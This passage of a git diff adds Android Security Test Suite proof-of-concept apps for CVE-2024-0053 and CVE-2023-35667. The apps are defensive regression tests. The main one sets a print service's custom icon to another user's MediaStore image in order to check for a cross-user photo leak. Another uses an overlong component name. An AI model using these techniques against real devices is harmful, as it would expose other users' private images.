+                                        + " on Android/data/directory and all subdirectories")
+                        .that(uiObject)
+                        .isNull();
+            }
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        } finally {
+            try {
+                // Exit the test gracefully
+                uiDevice.pressHome();
+            } catch (Exception ignore) {
+                // Ignore
+            }
+        }
+    }
+
+    private AutoCloseable createSubDirectory(Context context, String subdirectoryName)
+            throws Exception {
+        // Create subdirectory in 'Android/data'
+        File subdirectory = new File(context.getExternalFilesDir(null), subdirectoryName);
+        assume().withMessage("Failed to get external files directory")
+                .that(subdirectory)
+                .isNotNull();
+        assume().withMessage("Failed to create subdirectory").that(subdirectory.mkdirs()).isTrue();
+
+        // Return AutoCloseable to delete subdirectory created
+        return () -> subdirectory.delete();
+    }
+
+    private boolean checkActivityLaunched(String activityName) throws Exception {
+        final Pattern resumedPattern =
+                Pattern.compile("mResumed=(?<value>(true|false))", Pattern.CASE_INSENSITIVE);
+        return poll(
+                () -> {
+                    String dumpsys =
+                            runShellCommand(String.format("dumpsys activity " + activityName));
+                    Matcher matcher = resumedPattern.matcher(dumpsys);
+                    if (matcher.find() && matcher.group("value").equals("true")) {
+                        return true;
+                    }
+                    return false;
+                });
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/Android.bp
new file mode 100644
index 0000000..bd07b9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2024-0053",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "androidx.test.uiautomator_uiautomator",
+        "sts-device-util",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/AndroidManifest.xml
new file mode 100644
index 0000000..c3a5e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2024 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2024_0053">
+
+    <application android:label="CVE_2024_0053_print">
+        <service android:name=".TestPrintService"
+                android:permission="android.permission.BIND_PRINT_SERVICE"
+                android:exported="false">
+            <intent-filter>
+                 <action android:name="android.printservice.PrintService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2024_0053" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/res/values/strings.xml
new file mode 100644
index 0000000..7203f40
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2024 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="localPrinterId">cve_2024_0053_printer_id</string>
+    <string name="printerName">cve_2024_0053_printer_name</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/DeviceTest.java
new file mode 100644
index 0000000..6fcb76a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/DeviceTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *s
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0053;
+
+import static android.Manifest.permission.CREATE_USERS;
+import static android.os.UserHandle.USER_NULL;
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentProvider;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.UserInfo;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.os.Build;
+import android.os.UserManager;
+import android.print.PrintManager;
+import android.print.PrinterId;
+import android.provider.Settings;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testPocCVE_2024_0053() {
+        try {
+            // Check if the device supports multiple users or not
+            final Instrumentation instrumentation = getInstrumentation();
+            final Context context = instrumentation.getContext();
+            final UserManager userManager = context.getSystemService(UserManager.class);
+            assume().withMessage("This device does not support multiple users")
+                    .that(userManager.supportsMultipleUsers())
+                    .isTrue();
+
+            // Get the user id of "cve_2024_0053_user"
+            final int userId =
+                    runWithShellPermissionIdentity(
+                            () -> {
+                                List<UserInfo> list = userManager.getUsers();
+                                for (UserInfo info : list) {
+                                    if (info.toString().contains("cve_2024_0053_user")) {
+                                        return info.getUserHandle().getIdentifier();
+                                    }
+                                }
+                                return USER_NULL;
+                            },
+                            CREATE_USERS);
+            assume().withMessage("Unable to find the user cve_2024_0053_user")
+                    .that(userId)
+                    .isNotEqualTo(USER_NULL);
+
+            // Get the Image id of screenshot taken in secondary user
+            String imageId = fetchImageIdFromSecondaryUser(userId);
+            assume().withMessage("Could not get image id of secondary user's image")
+                    .that(imageId)
+                    .isNotNull();
+
+            // Set SharedPreferences to fetch cve_2024_0053_user's userid and imageId of screenshot
+            // in TestPrintService to reproduce issue
+            final String currentPackageName = context.getPackageName();
+            context.getSharedPreferences(currentPackageName, Context.MODE_PRIVATE)
+                    .edit()
+                    .putString("imageId", imageId)
+                    .putInt("userId", userId)
+                    .commit();
+
+            // Launch fragment PrintSettingsFragment
+            Intent intent = new Intent(Settings.ACTION_PRINT_SETTINGS);
+            context.startActivity(
+                    intent.setFlags(
+                            Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+
+            // Wait for PrintSettingsFragment to be launched
+            assume().withMessage("PrintSettingsFragment not launhced")
+                    .that(
+                            checkActivityLaunched(
+                                    intent.resolveActivity(context.getPackageManager())
+                                            .flattenToString()))
+                    .isTrue();
+
+            // Fetch and add the flag 'RECEIVER_EXPORTED' for 'TIRAMISU' and above versions to
+            // keep the code consistent
+            final int requiredFlag =
+                    Build.VERSION.SDK_INT >= 33 /* TIRAMISU */
+                            ? (int) Context.class.getField("RECEIVER_EXPORTED").get(context)
+                            : 0;
+
+            // Check if there is an exception while setting icon of Printer
+            // Register a broadcast receiver to get broadcast from TestPrintService
+            CompletableFuture<String> broadcastReceived = new CompletableFuture<>();
+            context.registerReceiver(
+                    new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent intent) {
+                            try {
+                                broadcastReceived.complete(intent.getStringExtra("exception"));
+                            } catch (Exception e) {
+                                // Ignore
+                            }
+                        }
+                    },
+                    new IntentFilter("cve_2024_0053_action"),
+                    requiredFlag);
+
+            UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+
+            // Click on "CVE_2024_0053_print" to start printer discovery session and add
+            // "cve_2024_0053_printer"
+            Pattern printservicePattern =
+                    Pattern.compile("CVE_2024_0053_print", Pattern.CASE_INSENSITIVE);
+            assume().withMessage("Printservice CVE_2024_0053_print not found")
+                    .that(
+                            waitForUiObject(
+                                    uiDevice,
+                                    By.text(printservicePattern),
+                                    true /* clickRequired */))
+                    .isTrue();
+
+            // Wait for the printer to be added
+            Pattern printerPattern =
+                    Pattern.compile(
+                            context.getString(R.string.printerName), Pattern.CASE_INSENSITIVE);
+            assume().withMessage("Printer cve_2024_0053_printer not found")
+                    .that(
+                            waitForUiObject(
+                                    uiDevice, By.text(printerPattern), false /* clickRequired */))
+                    .isTrue();
+
+            // Wait for broadcast from TestPrintService.
+            String exception = broadcastReceived.get(10_000 /* timeout */, TimeUnit.MILLISECONDS);
+            assume().withMessage("Exception occurred in TestPrintService " + exception)
+                    .that(exception)
+                    .isNull();
+
+            // Get icon of "cve_2024_0053_printer"
+            PrintManager printManager = context.getSystemService(PrintManager.class);
+            PrinterId printerId =
+                    new PrinterId(
+                            new ComponentName(currentPackageName, TestPrintService.class.getName()),
+                            context.getString(R.string.localPrinterId));
+            Icon printerIcon = printManager.getCustomPrinterIcon(printerId);
+
+            // With fix icon of "cve_2024_0053_printer" is null and without fix it is
+            // cve_2024_0053_user's image
+            if (printerIcon != null) {
+                final String targetImageUri =
+                        String.format(
+                                "%s/%s",
+                                ContentProvider.maybeAddUserId(EXTERNAL_CONTENT_URI, userId),
+                                imageId);
+                Uri secondaryUserIconUri =
+                        Icon.createWithContentUri(Uri.parse(targetImageUri)).getUri();
+
+                // Fail the test if icon of "cve_2024_0053_printer" is cve_2024_0053_user's image
+                assertWithMessage(
+                                "Device is vulnerable to b/281525042 hence A user can enumerate"
+                                    + " and view pictures of other users providing a PrintService"
+                                    + " with a custom icon")
+                        .that(printerIcon.getUri())
+                        .isNotEqualTo(secondaryUserIconUri);
+            }
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    private boolean waitForUiObject(UiDevice uiDevice, BySelector selector, boolean clickRequired)
+            throws Exception {
+        boolean objectFound = uiDevice.wait(Until.hasObject(selector), 5000 /* timeout */);
+        if (objectFound && clickRequired) {
+            UiObject2 uiobject = uiDevice.findObject(selector);
+            poll(() -> (uiobject.isEnabled()));
+            uiobject.click();
+        }
+        return objectFound;
+    }
+
+    private boolean checkActivityLaunched(String activityName) throws Exception {
+        final Pattern resumedPattern =
+                Pattern.compile("mResumed=(?<value>(true|false))", Pattern.CASE_INSENSITIVE);
+        return poll(
+                () -> {
+                    String dumpsys =
+                            runShellCommand(String.format("dumpsys activity " + activityName));
+                    Matcher matcher = resumedPattern.matcher(dumpsys);
+                    if (matcher.find() && matcher.group("value").equals("true")) {
+                        return true;
+                    }
+                    return false;
+                });
+    }
+
+    private String fetchImageIdFromSecondaryUser(int userId) throws Exception {
+        // Fetch the image-id of the captured screenshot image
+        final Pattern pattern = Pattern.compile("_id=(?<imageId>[0-9]+)", Pattern.CASE_INSENSITIVE);
+        final String imageInfoFetchingCommand =
+                String.format(
+                        "content query --user %d" + " --uri %s" + " --projection _id",
+                        userId, EXTERNAL_CONTENT_URI);
+        final CompletableFuture<String> imageId = new CompletableFuture<>();
+        assume().withMessage("Failed to fetch imageId from secondary user")
+                .that(
+                        poll(
+                                () -> {
+                                    try {
+                                        Matcher matcher =
+                                                pattern.matcher(
+                                                        runShellCommand(imageInfoFetchingCommand));
+                                        if (matcher.find()) {
+                                            imageId.complete(matcher.group("imageId"));
+                                            return true;
+                                        }
+                                    } catch (Exception e) {
+                                        Log.i(
+                                                "CVE-2024-0053",
+                                                "Got an exception while fetching the imageId : "
+                                                        + e);
+                                    }
+                                    return false;
+                                }))
+                .isTrue();
+        return imageId.getNow(null /* default imageId */);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/TestPrintService.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/TestPrintService.java
new file mode 100644
index 0000000..31c7607
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0053/src/android/security/cts/CVE_2024_0053/TestPrintService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *s
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0053;
+
+import static android.os.UserHandle.USER_NULL;
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.content.ContentProvider;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.os.CancellationSignal;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.printservice.CustomPrinterIconCallback;
+import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.printservice.PrinterDiscoverySession;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TestPrintService extends PrintService {
+
+    @Override
+    protected void onRequestCancelPrintJob(PrintJob printJob) {}
+
+    @Override
+    protected void onPrintJobQueued(PrintJob printJob) {}
+
+    @Nullable
+    @Override
+    protected PrinterDiscoverySession onCreatePrinterDiscoverySession() {
+        // Generate printerId of "cve_2024_0053_printer" and start printer discovery session
+        PrinterId printerId = generatePrinterId(getString(R.string.localPrinterId));
+        return new TestDiscoverySession(printerId);
+    }
+
+    class TestDiscoverySession extends PrinterDiscoverySession {
+        PrinterId mPrinterId;
+
+        public TestDiscoverySession(PrinterId id) {
+            mPrinterId = id;
+        }
+
+        @Override
+        public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {}
+
+        @Override
+        public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {}
+
+        @Override
+        public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
+            // Build and add 'cve_2024_0053_printer'
+            PrinterInfo.Builder pBuilder =
+                    new PrinterInfo.Builder(
+                            mPrinterId, getString(R.string.printerName), PrinterInfo.STATUS_IDLE);
+            pBuilder.setHasCustomPrinterIcon(true);
+            PrinterInfo pInfo = pBuilder.build();
+            ArrayList<PrinterInfo> pList = new ArrayList<PrinterInfo>();
+            pList.add(pInfo);
+            addPrinters(pList);
+        }
+
+        @Override
+        public void onStopPrinterDiscovery() {}
+
+        @Override
+        public void onRequestCustomPrinterIcon(
+                @NonNull PrinterId printerId,
+                @NonNull CancellationSignal cancellationSignal,
+                @NonNull CustomPrinterIconCallback callback) {
+            String exception = null;
+            try {
+                // Get userId of 'cve_2024_0053_user'
+                final SharedPreferences sharedPreferences =
+                        getSharedPreferences(getPackageName(), MODE_PRIVATE);
+                int userId = sharedPreferences.getInt("userId", USER_NULL);
+                assume().withMessage("Could not get user id of secondary user in print service")
+                        .that(userId)
+                        .isNotEqualTo(USER_NULL);
+
+                // Get uri of 'cve_2024_0053_user's image
+                String imageId = sharedPreferences.getString("imageId", null /* default id */);
+                assume().withMessage(
+                                "Could not get image id of secondary user's image in print service")
+                        .that(imageId)
+                        .isNotNull();
+                final String targetImageUri =
+                        String.format(
+                                "%s/%s",
+                                ContentProvider.maybeAddUserId(EXTERNAL_CONTENT_URI, userId),
+                                imageId);
+
+                // Set icon of "cve_2024_0053_printer" as cve_2024_0053_user's image
+                Icon icon = Icon.createWithContentUri(Uri.parse(targetImageUri));
+                callback.onCustomPrinterIconLoaded(icon);
+            } catch (Exception e) {
+                exception = e.getMessage();
+            } finally {
+                try {
+                    Intent intent = new Intent("cve_2024_0053_action");
+                    intent.putExtra("exception", exception);
+                    sendBroadcast(intent);
+                } catch (Exception e) {
+                    // Ignore all exceptions
+                }
+            }
+        }
+
+        @Override
+        public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {}
+
+        @Override
+        public void onDestroy() {}
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/Android.bp
new file mode 100644
index 0000000..1f93557
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/Android.bp
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-35667-test",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "test-app/src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "truth",
+    ],
+    manifest: "test-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CVE-2023-35667-helper1",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "helper-app1/src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    manifest: "helper-app1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CVE-2023-35667-helper2",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "helper-app2/src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    manifest: "helper-app2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app1/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app1/AndroidManifest.xml
new file mode 100644
index 0000000..8f77083
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app1/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_35667.aaaaab">
+
+    <application>
+        <service
+            android:name=".HelperListenerService1"
+            android:exported="true"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app1/src/android/security/cts/CVE_2023_35667_target/HelperListenerService1.java b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app1/src/android/security/cts/CVE_2023_35667_target/HelperListenerService1.java
new file mode 100644
index 0000000..6425bf5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app1/src/android/security/cts/CVE_2023_35667_target/HelperListenerService1.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35667.aaaaab;
+
+import android.service.notification.NotificationListenerService;
+
+public class HelperListenerService1 extends NotificationListenerService {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app2/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app2/AndroidManifest.xml
new file mode 100644
index 0000000..b84aeb0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app2/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_35667.aaaaaa">
+
+    <application>
+        <service
+            android:name=".HelperListenerService2"
+            android:exported="true"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app2/src/android/security/cts/CVE_2023_35667_target2/HelperListenerService2.java b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app2/src/android/security/cts/CVE_2023_35667_target2/HelperListenerService2.java
new file mode 100644
index 0000000..297abc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/helper-app2/src/android/security/cts/CVE_2023_35667_target2/HelperListenerService2.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35667.aaaaaa;
+
+import android.service.notification.NotificationListenerService;
+
+public class HelperListenerService2 extends NotificationListenerService {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..f4ecbd5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_35667">
+
+    <application>
+        <service
+            android:name=".AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+            android:exported="true"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_35667" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/src/android/security/cts/CVE_2023_35667_test/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.java b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/src/android/security/cts/CVE_2023_35667_test/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.java
new file mode 100644
index 0000000..b713182
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/src/android/security/cts/CVE_2023_35667_test/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.java
@@ -0,0 +1,21 @@
+
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
